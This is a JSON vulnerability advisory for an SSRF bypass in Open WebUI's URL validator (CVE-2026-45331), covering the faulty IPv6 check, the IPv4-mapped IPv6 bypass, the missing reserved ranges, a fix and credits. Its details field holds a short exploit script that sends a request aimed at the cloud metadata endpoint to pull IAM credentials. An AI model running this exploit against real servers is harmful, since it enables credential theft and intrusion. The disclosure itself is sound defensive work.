SSRF Bypass via IPv6/IPv4-mapped IPv6/IPv4-reserved-ranges in validate_url()

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.12"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45331"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T20:18:54Z",
    "nvd_published_at": "2026-05-15T20:16:48Z",
    "severity": "HIGH"
  },
  "details": "# SSRF Bypass via IPv6/IPv4-mapped IPv6/IPv4-reserved-ranges in `validate_url()`\n\n## Summary\n\n`validate_url()` in `backend/open_webui/retrieval/web/utils.py` calls `validators.ipv6(ip, private=True)`, but the `validators` library does NOT implement the `private` keyword for IPv6 \u2014 the call raises a `ValidationError` (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (`::ffff:10.0.0.1`) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (`0.0.0.0/8`, `100.64.0.0/10`, `192.0.0.0/24`, etc.) are not blocked.\n\nThe vulnerability has existed since the `validate_url()` function was introduced and was NOT actually fixed by GHSA-c6xv-rcvw-v685 / CVE-2025-65958 despite that patch\u0027s intent. It affects every endpoint that calls `validate_url()`, including `/api/v1/retrieval/process/web`, `/api/v1/images/edit`, and others.\n\n## Affected code\n\n`backend/open_webui/retrieval/web/utils.py validate_url()`:\n\n```python\nif validators.ipv6(ip, private=True):  # ValidationError is falsy \u2014 never raises\n    raise ValueError(...)\n```\n\n## Proof of concept\n\n```python\nimport validators\nprint(validators.ipv6(\"::1\", private=True))\n# ValidationError(func=ipv6, args={\u0027reason\u0027: \"ipv6() got an unexpected keyword argument \u0027private\u0027\", ...})\n```\n\nEnd-to-end exploit:\n\n```python\nimport requests, ipaddress\n\nOPEN_WEBUI_URL = \"https://target\"\nTOKEN = \"...\"\nTARGET_IPV4 = \"169.254.169.254\"   # AWS IMDSv1\nmapped = \"::ffff:\" + TARGET_IPV4\n\nrequests.post(f\"{OPEN_WEBUI_URL}/api/v1/retrieval/process/web\",\n              headers={\"Authorization\": f\"Bearer {TOKEN}\"},\n              json={\"collection_name\": \"\", \"url\": f\"http://[{mapped}]/latest/meta-data/iam/security-credentials/\"})\n```\n\n## Impact\n\nAny authenticated user can reach any internal IPv4/IPv6 address from the server process \u2014 cloud metadata, localhost-bound APIs, internal services. IMDSv1 reachability leads to IAM credential exfiltration.\n\n## Recommended fix\n\nReplace the `validators` library calls with stdlib `ipaddress`:\n\n```python\nimport ipaddress\naddr = ipaddress.ip_address(ip)\nif addr.is_private or addr.is_loopback or addr.is_link_local or addr.is_multicast or addr.is_reserved or addr.is_unspecified:\n    raise ValueError(...)\n# also unwrap IPv4-mapped IPv6 and re-check:\nif isinstance(addr, ipaddress.IPv6Address) and addr.ipv4_mapped:\n    addr_v4 = addr.ipv4_mapped\n    if addr_v4.is_private or addr_v4.is_loopback or ...:\n        raise ValueError(...)\n# plus explicit blocks for IANA reserved ranges (0.0.0.0/8, 100.64.0.0/10, etc. \u2014 see body for full list).\n```\n\n## Related but separate advisories\n\n- Redirect-bypass cluster: GHSA-rh5x-h6pp-cjj6\n- DNS rebinding TOCTOU: GHSA-h6x2-583h-x99r\n- urlparse / requests parsing-differential: GHSA-8w7q-q5jp-jvgx\n- Playwright loader redirect: GHSA-jrfp-m64g-pcwv\n- Missing `validate_url()` call in image_generations: GHSA-h7cc-wwjp-5xqh\n\n## Credits\n\n- **Dor Konis (dkonis, GE Vernova)** \u2014 first to identify the `validators.ipv6(private=True)` silent-fail and IPv4-mapped IPv6 bypass; GHSA-4v7r-f4w8-8972 (this filing, 2024-09-11; credit explicitly requested in original report).\n- **wlayzz** \u2014 first to identify the unblocked IPv4 reserved ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.2.0/24, 198.18.0.0/15, 203.0.113.0/24, etc.); GHSA-pxgj-3gvh-mfjv.\n\nSubsequent filings (GHSA-mggf-94hh-vp4w by vnth4nhnt, GHSA-xhgr-g5q7-jg6p by L1M1T-HACK) re-described the same root cause on the same or different endpoints and were closed as duplicates without advisory credit \u2014 fixing `validate_url()` once resolves all of them.",
  "id": "GHSA-4v7r-f4w8-8972",
  "modified": "2026-05-15T23:53:48Z",
  "published": "2026-05-14T20:18:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-4v7r-f4w8-8972"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45331"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-c6xv-rcvw-v685"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI has a full SSRF Vulnerability in the RAG Web Search Feature"
}